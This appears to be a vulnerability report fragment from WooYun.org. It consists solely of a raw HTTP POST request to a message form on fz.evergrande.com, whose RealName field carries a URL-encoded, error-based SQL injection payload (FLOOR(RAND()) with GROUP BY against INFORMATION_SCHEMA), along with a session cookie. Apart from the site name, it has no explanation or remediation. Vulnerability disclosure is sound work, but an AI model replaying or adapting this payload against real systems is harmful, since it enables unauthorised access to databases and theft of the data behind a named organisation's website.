WooYun.org

POST /sub.php?act=msg HTTP/1.1
Cache-Control: no-cache
Referer: http://fz.evergrande.com/msg.php
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36
Accept-Language: en-us,en;q=0.5
Host: fz.evergrande.com
Cookie: PHPSESSID=3f251r141cb5v46mu5c9nr8ib3
Accept-Encoding: gzip, deflate
Content-Length: 447
Content-Type: application/x-www-form-urlencoded
RealName=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&Telephone=&PersonalHome=&EMail=&Title=&Submit_button=%ef%bf%bd%ef%bf%bd+%ef%bf%bd%ef%bf%bd&Reset_button=%ef%bf%bd%ef%bf%bd+%ef%bf%bd%ef%bf%bd&Content=